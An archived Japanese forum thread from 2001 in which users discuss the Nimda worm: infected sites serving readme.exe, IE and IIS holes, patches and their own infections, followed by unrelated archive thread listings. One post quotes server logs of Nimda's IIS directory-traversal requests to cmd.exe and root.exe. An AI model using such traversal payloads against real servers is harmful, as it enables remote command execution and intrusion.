出てますが、どうなんでしょう？
関連スレ
MSNにウィルス添付？
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776
を開くとreadme.exeというファイルがDLするようになってるそうです。
topを読むと送られてきます。
http://www.msn.co.jp/readme.eml
なんでこのファイル、こんなアイコンなんだ。
つーか普通にレスしちゃったけど、>>3のリンクはIEにパッチ
当ててない奴はまずいだろ。
あ、ごめん。ネスケなので気が付かなかったー。
http://www.prland.co.jp/
ここも同じ現象らしいよ。
Admin.dllとか言ってるな。最近はさすがにCodeRedスレ
見てなかったから知らんけど、そこらへんの新種が関係
してんのかね
readme.exeのみのヘッダ教えてﾁｮ
ここもな。
ん？readme.exeのみのヘッダ？
base64デコーダを使え。
IIS使う馬鹿に何が提案できるんだ
RarUty使ってるのだが、base64として認識してくれない(;´Д`)
見直してみたけど、やっぱりtftpとかも書いてあるわ。
突然*.emlファイルが数千作成され、エクスプローラー開くと空き要領が5MB/secくらいの
スピードで減っていった。LANでつないでいるリブレットも同時進行(^^;
実行したんかい（ｗ
それにしても、「不正なMIMEヘッダを含む〜」とCodeRedの
合作かな。なんか面白みないね
しかし>>17のように実行は出来ないｗ
実は、実行しちゃいました＞＜
readme.exeですが、
concept virs (CV) v5
って文字列が含まれてます。(TT)
concept virsをちょっと、調べてみたのですが、
英語版wordに感染するマクロウィルスらしいです。
何日か前に消しちまったんだった。残念。まあ挙動はバイナリ
みるだけでほとんど書いてあるような気もするが。
ニュース速報って、どこの、ニュース速報？＞２０
あ、ややこしい書き方でｽﾏｿ、ココ（2ｃｈ）です。
送信するわけか？だとしたらトラフィックがまた・・・。
一個76.6KBのファイルをガンガン送られたらかなわんな
その128、俺。
ネットワークの方はどうなってる？パケット送りまくり？
Librettoとラブコールしまくりだった。
http://www.microsoft.com/JAPAN/support/kb/articles/JP290/1/08.htm
ん？するとバックドアで入ってweb閲覧者にも送りつけて繁殖？
IE5.01〜5.5限定とはいえ被害が広がるねえ。
そうか、じゃあ後は自分で解析するのも面倒っつーか
意味ないからCodeRedスレのログでも読むかな。
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50&nofirst=true
１のスレも読んでみたけど、メディアプレイヤーが立ち上がる？
「不正なMIMEヘッダ〜」に加えて、「MediaPlayerのスキンファイル〜」
の穴も突こうとしてんのかね。出遅れたからわからん。
CodeRedスレの人間教えれ
かなぁ。
http://memo.st.ryukoku.ac.jp/archive/200109.month/thread.html
こいつがでかいファイルを撒き散らしてたわけね
サンクス、ざっと読んできた。また祭りか？とか思ってたけど、
洒落にならん・・・16種類。しかも良く考えたら「不正なMIME〜」は
IEだけじゃなく、OutLookもか・・・
って書いてあるよ？
無差別に撒き散らすとしたら十分すぎるほどでかい
認識甘すぎ・・・・
まぁまぁ、ドンマイドンマイ
それにしても、こんどのコードネームは Nimda か
ARP Floodが〜。1分にARPだけで1025パケット・・・
はぁ〜
ﾒﾓﾘﾘﾌﾚｯｼｭするには便利なｱｲﾃﾑだよ
しかし笑い事じゃない。どうでもいいけどこのreadme.exe、
リソース覗いてみたらアイコンが５つ。・・・意味ないぞ
とりあえず今回もJ-COM内からのアタックがガンガン来てる
上にARPの数はさらに増えつつある。とりあえずJ-COMに
メール出しとくか。
結局、脆弱性”Unicode Web Traversal”のパッチは無し？
ってことは、IIS全部感染対象？
URLScanしか方法無いのかなぁ。
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20010914/1/
ﾜｼｮ-ｲ
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078
Scary Hybrid Internet Worm Loose
http://wired.com/news/technology/0,1282,46944,00.html
Nimdaは、先週起こったテロとは関係ないっちゅーことやろ
http://search.fresheye.com/?kw=readme.eml&term=monthly
今日の昼頃には感染サイトが爆発するでしょう。
がんばれしまんてくー。
思ってても、メールから感染したら、やっぱwebページが改竄されるのかなぁ。
感染したPC側はサーバーへのアタックもやるのかな。
それによると思う。
同じウィルスの感染手段が異なるだけのものだとすれば、
Webも改竄されるのでは。
そういえば
http://www.msn.co.jp/
ふっかつしないね、、、。
http://www.prland.co.jp/
このサイトをクリックしたらPCがバリバリバリバリいうようになっちゃったよぉ〜。
もう30以上もつづいているよ。。。
ファイルのダウンロード画面が一瞬出たんだけど、
保存するってやらなくても落ちて来ちゃうの？
対処法はどうすればいいの？
ぁぁぁぁぁああああパニックだよぉぉぉぉぉおおおおお！
Windowsを正しく動作するための必要なファイルが認識できない
バージョンのファイルに置き換えられています。システムの
安定を維持するために、これらのファイルを元のバージョンに
復元する必要があります。
Wndows2000 Professional CD-ROMを挿入してください。
ってなるんだけど、ただCDを入れれば勝手に処理してくれるのんですか？
Map....
っていうお知らせ画面がでてきました。
オレ、msnなんて昔から見たことないから・・・・・
あの錆、めちゃ遅いからね。
いまだに、立ち上げと同時にmsnが表示されたままの人が
多いようだし・・・・
いやいや。
しばらくすると、各社から修復方法が発表になると思うので、
それまでは、予備のＰＣでやっていた方がいいと思う。
なんだかPCの中にとんでもない悪者が潜んでいそうでとてもコワイです。
含まれてるよね？
ひっかっかっちゃったよヽ(´ー｀)ノ 実害出てないけどね。。
そのうちファイルあぼられたりするのかなあ？
昨日だけで34回きた
ﾃﾞｽｸﾄﾌﾟﾝだけじゃなかったみたい(´Д｀)
ファイルのバックアップとっといた方がいいかな？
http://mimizun.mine.nu/
ハードディスクいっぱいにしてくれました。一応、*.emlと*.tmp.exeを削除しました。
でもなぁNTsp6aのIISでSRPあてていたんだが・・・
気のせいかもしれないけどね。あと.eml消せなくなってるよ？？
>>77
ご愁傷様。。なんか実害あった？ファイル消されたりするのかなぁ？
意味ないんじゃないの？？
CodeRedIIの比じゃないぐらいの割合で。
このemlファイル使った穴を塞ぐパッチって、IE5.5SP2には
含まれてるよね
IE6,0はどうなんでしょうか？
http://headlines.yahoo.co.jp/hl?a=20010919-00000116-jij-bus_all
【シリコンバレー１８日時事】「Ｎｉｍｄａ（ニムダ）」と呼ばれる危険度の高い新種の
コンピューターウイルスが登場し、ウイルス対策会社などが注意を呼び掛けている。
米ウイルス対策大手シマンテックによると、同ウイルスは、電子メールで届けられる添付
ファイル「ｒｅａｄｍｅ．ｅｘｅ」に潜み、これを利用者が不用意に開くことで感染する。
感染したコンピューターは、ウイルスメールを外部に発信。マイクロソフト製ウェブサーバー
ソフトを利用している他のコンピューターに対して同ソフトのセキュリティーホール
（欠陥）を狙った攻撃を仕掛ける。 （時事通信）[9月19日9時3分更新]
確かめてみたら5.5SP2にはばっちり含まれてた。
悪いんだが6.0はわからん。でも対策されてない気がする
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-075
のことだよね。
これとCodeBlueって関係してんの？
ウチも昨日からアタック受けてるけどあれとMSNのは別物じゃないかな。
^^^^^^^^^^^^^^^^
>コンピューターに対して同ソフトのセキュリティーホール
>（欠陥）を狙った攻撃を仕掛ける。（時事通信）[9月19日9時3分更新]
^^^^^^^^^
これって、損害賠償責任ないの？
210.91.45.224 - - [19/Sep/2001:10:03:50 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 214
210.91.45.224 - - [19/Sep/2001:10:03:57 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 214
210.91.45.224 - - [19/Sep/2001:10:04:05 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 214
210.91.45.224 - - [19/Sep/2001:10:04:10 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
210.91.45.224 - - [19/Sep/2001:10:04:16 +0900] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
210.91.45.224 - - [19/Sep/2001:10:04:23 +0900] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
210.91.45.224 - - [19/Sep/2001:10:04:30 +0900] "GET /msadc/..%5c../..%5c../..%5c/..ﾁ ../..ﾁ ../..ﾁ ../winnt/system32/cmd.exe HTTP/1.0" 400 205
210.91.45.224 - - [19/Sep/2001:10:04:38 +0900] "GET /scripts/..ﾁ ../winnt/system32/cmd.exe HTTP/1.0" 400 205
HRS-MSG - - [19/Sep/2001:10:10:20 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 233
HRS-MSG - - [19/Sep/2001:10:10:22 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:10:37 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:10:41 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:10:44 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:10:48 +0900] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:10:51 +0900] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:10:54 +0900] "GET /msadc/..%5c../..%5c../..%5c/..ﾁ ../..ﾁ ../..ﾁ ../winnt/system32/cmd.exe HTTP/1.0" 400 205
HRS-MSG - - [19/Sep/2001:10:10:58 +0900] "GET /scripts/..ﾁ ../winnt/system32/cmd.exe HTTP/1.0" 400 205
HRS-MSG - - [19/Sep/2001:10:11:01 +0900] "GET /sc?/c+dir HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:11:03 +0900] "GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 400 205
HRS-MSG - - [19/Sep/2001:10:11:06 +0900] "GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 400 205
HRS-MSG - - [19/Sep/2001:10:11:09 +0900] "GET /scripts/..5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:11:11 +0900] "GET /scripts/..5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:11:14 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 214
HRS-MSG - - [19/Sep/2001:10:11:20 +0900] "GET /scripts/..%2f../winnt/system32/cmd.exe HTTP/1.0" 404 214
永遠に続く。重いわけだ。
http://www.zdnet.co.jp/news/0109/19/b_0918_01.html
ありがとうございます。
6.0から5.5にバージョンアップ？と思いつつIEのページからDLしようとしたら
最新バージョンがインストール済みでバージョンアップできませんですって。
こわいよー！
ありとあらゆる実行ファイルにreadme.emlなる文字列が確認されたのでめんどいのでクリーンインストールします。。。
パッチあてめんどいんだよなぁ。
GoBack入れとけば良かったのにな。
うちはGoBackで感染ファイルが根こそぎなくなったわ。よかったよかった。
6から5.5へはません。6へは一方通行です。
お詫びも警告もないな。。。
やっぱりな。。。。
複合的な攻撃、感染機能をもつウィルス Nimda
Nimda＝ニダ？
なんて読むニダ
米軍の作戦の1つニダ
http://headlines.yahoo.co.jp/hl?a=20010919-00000002-vgb-sci
TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▲
「500」「バスター厨」「相模原」粘着荒らし総合ｽﾚ (680)
いっぱいFW入れてます。当たり前だｺﾞﾙｧ大作戦 (462)
【併用可】gred AntiVirusアクセラレータ part3 (840)
fusianasanトラップになんらかの対処を (891)
ウイルスバスター2006のスパイウェア疑惑について (626)
ウィルスバスターに騙された！ (565)
--log9.info------------------
☆ 藤井猛 System110 ☆ (681)
佐藤紳哉ですが、私のスレも作ってください (747)
【質問】☆★将棋初心者総合★☆【愚痴】 Part2 (488)
【振り飛車党】久保利明応援スレ 22【元総裁】 (440)
☆。.:*・゜森内俊之 Part49.。.:*・゜☆ (536)
女流棋士総合スレッド 第二十七局 (654)
棋譜貼り専門スレに関する疑問、議論用スレ★2 (308)
【携帯】将棋道場26【竜王戦】 (713)
室田伊緒応援スレ PART19 ☆彡 (910)
＜新四段＞ 永瀬拓矢さん 応援スレッド (938)
加藤桃子ちゃん応援スレPart2 (803)
●○囲碁・将棋フォーカス▲△Part2 (263)
【将棋24】指してはいけない【危険人物】その31 (553)
第60期王座戦 Part3 (289)
!ninjaテストスレ13枚目 (533)
NHK杯将棋トーナメント part358 (932)
--log55.com------------------
《新型コロナ対策》中国出身2人が取手市にマスク4000枚 「日本頑張れ」市民にエール [馬鹿島★]
【生きてた】金正恩の列車を確認 [ソメチメスッスッス★]
【安倍首相】「日本発の特効薬を世界に発信していきたい」 アビガン増産へ総力戦 ★2 [ばーど★]
徳島県の保育所が病院で働く職員の子供の登園を拒否 [朱鬼★]
【経済評論家】上念司氏「麻生と岸田がモタモタしてるからどんどん会社が潰れていく！」 [中山富康★]
【茨城】「他県ナンバーの車が駐車」「サーファーが海岸に」…住民から苦情相次ぐ [Hikaru★]
【東京都】路上でしゃがみこんでい男性が搬送され死亡 その後コロナ感染確認 自宅療養で容体急変2件 ★2 [ばーど★]
【武漢ウィルス】パチンコ店に客が次々に 海には釣り客 県外ナンバーの車も 休業要請に外出自粛は一体…静岡県 ★2 [砂漠のマスカレード★]